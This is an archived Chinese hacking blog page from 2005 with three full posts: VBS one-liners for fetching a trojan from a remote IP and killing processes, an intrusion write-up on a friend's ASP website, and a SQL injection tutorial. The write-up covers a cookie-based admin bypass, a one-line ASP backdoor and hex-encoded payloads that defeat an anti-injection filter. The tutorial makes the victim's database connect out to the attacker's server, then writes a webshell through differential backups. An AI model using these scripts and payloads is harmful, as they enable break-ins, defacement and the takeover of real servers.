GOGO BLOG

GOGO

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  157篇文章 :: 0篇收藏:: 112篇评论:: 3个Trackbacks

文章

收藏

相册

友情连接

存档


正在读取评论……


2005年11月


一些经典的vbs脚本


1.文件下载(无回显)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe

用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe


2.列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

用法:cscript ps.vbs


3.终止进程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs

用法:cscript pskill.vbs pid


4.重启系统
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs

用法:cscript reboot.vbs





    摘要:推荐:ASP安全配置不完全手册     (全文共9480字)——点击此处阅读全文




安全检测时发现的一些漏洞


前不久我一个开网吧的朋友做了个网站,我对他的网站进行了一次安全检测,发现了一些漏洞,包括两个留言本漏洞和绕过通用防注入的漏洞。写出来共享一下。

一、小秋个性留言本管理验证漏洞

我朋友网站上有两个留言本,一个是小秋个性留言本,一个是倾听留言本(倾听留言本的问题等一下再说)。小秋个性留言本在后台验证你是否是管理员时有漏洞,我们来看代码:
<%response.expires=0
if request.cookies("loginok")="" then
response.redirect "login.asp"
end if
%>
不用说了吧,只要cookies里的loginok值不是空你就是管理员了,而不在乎loginok到底是什么。就算loginok是千寂孤城也无所谓。所以在cookies里加上loginok=QJGC后再访问后台,你就是管理员了。并且后台的管理员回复没有过滤“<”和“>”,可以进行跨站攻击。

二、倾听留言本的漏洞

1、倾听留言本后台的管理员回复页面没有管理验证,直接在地址栏里访问/disp_msg.asp?id=62即可对id=62的帖子进行回复。注意,倾听留言本的贴子是默认从id=62开始记数的。

2、写留言时的指定头像路径可以绕过,在提交留言的表单中是这样选择头像的:
<select size="1" name="touxiang" onchange="document.images['faceid'].src=options[selectedIndex].value;" style="width:122; height:19">
<option value="images/touxiang/1.gif" selected>
head-1</option>
<option value="images/touxiang/2.gif">head-2
</option>
<option value="images/touxiang/3.gif">head-3
</option>
<option value="images/touxiang/4.gif">head-4
</option>
……
</select>
选好头像后把数据写入数据库时对图片的路径和大小都没有再检查,所以我们可以用网站上的任何找得到的图片作为自己的头像。只需要在本地重新构造一个表单来提交就可以了。我们完全可以找个巨幅的图片来玩玩。

3、提交留言时的SQL injection漏洞。我们先来看看提交留言时的代码是怎么写的:
<% Sub add_msg()
  nick_name=chhtml(request.form("nick_name"))
  oicq=chhtml(request.form("oicq"))
  pvc=request.form("pvc")
  userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  if userip=""then userip=Request.ServerVariables("REMOTE_ADDR")
  touxiang=request.form("touxiang")
  z_touxiang=chhtml(request.form("z_touxiang"))
  t_h=chhtml(request.form("t_h"))
  t_w=chhtml(request.form("t_w"))
  e_mail=chhtml(request.form("e_mail"))
  web_p=chhtml(request.form("web_p"))
  title=chhtml(request.form("title"))
  font_color=request.form("font_color")
  msg_type=request.form("msg_type")
  contents=UBB(chhtml(request.form("contents")))
  exec="insert into msg_book(nick_name,oicq,pvc,ip_a,touxiang,z_touxiang,t_h,t_w,e_mail,web_p,title,font_color,msg_type,contents)values('"+nick_name+"','"+oicq+"','"+pvc+"','"+userip+"','"+touxiang+"','"+z_touxiang+"','"+t_h+"','"+t_w+"','"+e_mail+"','"+web_p+"','"+title+"','"+font_color+"','"+msg_type+"','"+contents+"')"
  conn.execute exec
  conn.close
  set conn=nothing
  response.Redirect "index.asp"
End Sub%>

看到了吗,其中pvc、touxiang、font_color、msg_type都没有经过任何过滤就放到了查询语句中。为什么倾听这么大胆呢?因为这几个东西依次是“来自”、“头像”、“字体颜色”和“公开或是悄悄话”。前三个都是下拉菜单,最后一个是单选按扭。作者认为这几个很安全,但是我们可以在本地重新构造表单提交呀。

我写这篇文章前并未通知官方(http://www.qtice.com/),官方同样存在此漏洞,请大家不要去搞破坏。

三、通用防注入原来形同虚设

这是个很大的漏洞哦。

1、漏洞的发现

事情是这样的。我通过一些方法在朋友的网站上搞到一个webshell,然后又在某个页面上加了一句话后门:<%if request("qjgc")<>"" then execute request("qjgc")%>。后来朋友删了我的webshell,我就想利用这个一句话后门再写一个webshell进去。结果一提交就弹了个框框出来说我提交的数据非法,ip已记录。当时就郁闷了,忘了朋友用了通用防注入程序,也就是说我向一句话木马里提交的数据不能出现被通用防注入过滤掉的字符,否则就非法了。
现在回想一下,其实通用防注入里过滤掉的字符并不多,只是针对sql注入的过滤,我们完全可以构造一个上传“上传小马”的代码提交过去,然后再利用那个“上传小马”来上传大马(上传小马里面没有include那些讨厌的防注入代码,可以提交任意数据)。但是我当时就完全没有这样想,像是短路了一样以为被过滤得什么数据都提交不了了。
明知道有一句话木马却用不了,我很不甘心。突然我想到如果我用cookies来提交qjgc的值会怎样呢?于是打开MyBrowser实验了一下。
打开MyBrowser,然后随便访问朋友网站上的一个欣赏flash的动态页面:/flash_show.asp?id=20。接着把地址栏中的?id=20删了,在cookies里面写上:; id=20,然后刷新一下,页面没有变化。把cookies里的id=20改成id=19再刷新一下,发现flash变了一个。
这说明把url里的提交数据写进cookies里确实可行。现在来最重要的一步:把cookies改成id=20'后刷新,并没有出现那个什么提交非法数据的提示!成功绕过了通用防注入程序!

2、漏洞的利用

既然如此,那我们就通过cookies把qjgc的值提交进去。这里要注意,通过cookies提交数据一定要转换成16进制,否则会出错的。我之前一直不成功就这个原因。
我们先来试试可不可以改他的主页。改主页的代码如下:
a="<script>window.alert(""千寂孤城又来啦!"")</script>":set fso=server.createObject("scripting.filesystemobject"):set file=fso.opentextfile("***index.asp",2,TRUE):file.write a :file.Close
随便打开一个16进制转换工具,把以上代码放进去转换,得到一串16进制代码:%61%3D%22%3C%73%63%72%69%70%74%3E……全部复制下来,然后打开MyBrowser,来到有一句话木马的页面,在cookies那里加上:; qjgc=%61%3D%22%3C%73%63%72%69%70%74%3E……刷新一下,没有出错,再到首页去看一看,首页已经成功被我们修改了。
接下来我又用此方法上传了一只asp马,webshell又回来了。

3、漏洞的原因

说实话到底为什么会成功我也不很清楚,我们先来看看通用防注入的代码:

<%

'--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%

20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
'--------POST部份------------------

……针对表格提交数据的,我省略了。

'----------------------------------

'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('爪子!搞破坏所?此路不通');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
'----------------------------------
%>

  我的理解是cookies里的数据不属于Request.QueryString但是属于request,而asp页面中处理客户端提交的数据时一般写法是id=request("id")一类的语句,通用防注入只是针对Request.QueryString进行的过滤,所以就绕过了检查。

4、漏洞的修补

其实只要勤快点就好了,除了每个页面都把防注入代码include进去之外最好还是自己动手改改代码吧。比如把id=request("id")一类的语句改成id=Request.QueryString("id")。或者是在id=request("id")后面加上if isnumeric(id)=false then response.redirect "/error.htm"之类的语句,因为这种过滤方法是针对id变量本身的,就无论如何绕不过去了。





    摘要:FTBBS3.5上传类型添加严正不严漏洞    (全文共2041字)——点击此处阅读全文




    摘要:入侵    (全文共16036字)——点击此处阅读全文



推荐:注入过程中遇到DB_OWNER的想法


首先先声明这个文章是写给菜鸟朋友看的

    .现在注入横飞!工具一大堆,过去手工注入的时代已经不复存在!代之的是NBSI HDSI 啊D注入工具..等等.也是广大菜鸟的最爱了.即使什么也不会.什么也不懂.只需要点几下鼠标.存在注入漏洞的网站密码就出来了.接下来就是扫扫后台.传传马.就完了.就这样简单.碰到SA权限的话就.直接建立号开3389或者上传WEBSHELL.是内网就映射.是DB_OWNER权限的话呢就考虑用备份差异.但是WEB和数据库不在同一台服务器该怎么搞呢?其实也不一定是搞不定.除了往注册表启动键值写DOS命令,让目标服务器下会开机执行,不过也是有局限性的.该用户必须授权于Master这个库.才可调用储存过程.很少有管理员会这样做.所以希望很渺小.如果我们遇到这种情况的话该如何搞呢?看图1

DB权限.列下目录看看数据是否跟WEB在一块.要是在一块可考虑备份差异.不过很可惜.找来找去都没有找到WEB目录.如图2

这是利用MSSQL的XP_dirtree储存过程读取路径.然后写入临时表的结果.以前的NBSI没这功能.小菜门只好扫扫SA啊。弄弄后台之类的.后来NBSI增加了treelist的功能.可列出目录,更为方便查看目录结构.软件信息等等.后来臭要饭的开发了Getwebshell才使这功能毕生光芒,把马插到数据库里,然后把数据库备份为ASP文件.行是可行.但是数据库要是过大的话.几十M的WEBSHELL你说能用吗?Xiaolu的备份差异还算不错了.减少文件大小.进行差异备份.不过还是回到原来一点.数据和WEB不在一块......

  其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!

我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 CREATE TABLE zhu(name nvarchar(256) null);CREATE TABLE J8(id int NULL,name nvarchar(256) null); 点执行.如图4


建立了一个hack520的库名.和zhu  J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句'  恩现在开始吧...

http://www.xxx.com/news.asp?id=126'insert%20into%20opendatasource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=

hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--

在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下~图5

哈哈已经连过来了.现在数据服务器IP知道了.而且数据服务器又开了80.现在干什么呢?

bak一个webshell上去吧.已知WEB目录C:\Inetpub\wwwroot.好.开始
http://www.xxx.com/news.asp?id=126;use tg800;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737339323238 backup database @a to disk=@s-- 备份当前库

http://www.xxx.com/news.asp?id=126;Drop table [hack520];create table [dbo].[hack520] ([cmd] [image])--  建表

http://www.xxx.com/news.asp?id=126;insert into hack520(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--  插入蓝屏木马

http://www.xxx.com/news.asp?id=126;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x433A5C496E65747075625C777777726F6F745C7A68752E617370 

backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 再次以差异备份得到WEBSHELL http://221.216xxx.xx/zhu.asp

接下来就是用蓝屏木马客户端连接咯.这个就简单了.我这里就不多说了.虽然没有拿到WEB服务器的SHELL.但是至少也不是空手而归.拿到了数据服务器的SHELL.就到这里.88





    摘要:分析密码破解的方法    (全文共4086字)——点击此处阅读全文




    摘要:分析密码破解的方法    (全文共2972字)——点击此处阅读全文




    摘要:论坛入侵(提权、下载数据库)    (全文共9126字)——点击此处阅读全文




    摘要:Q-Zone    (全文共7292字)——点击此处阅读全文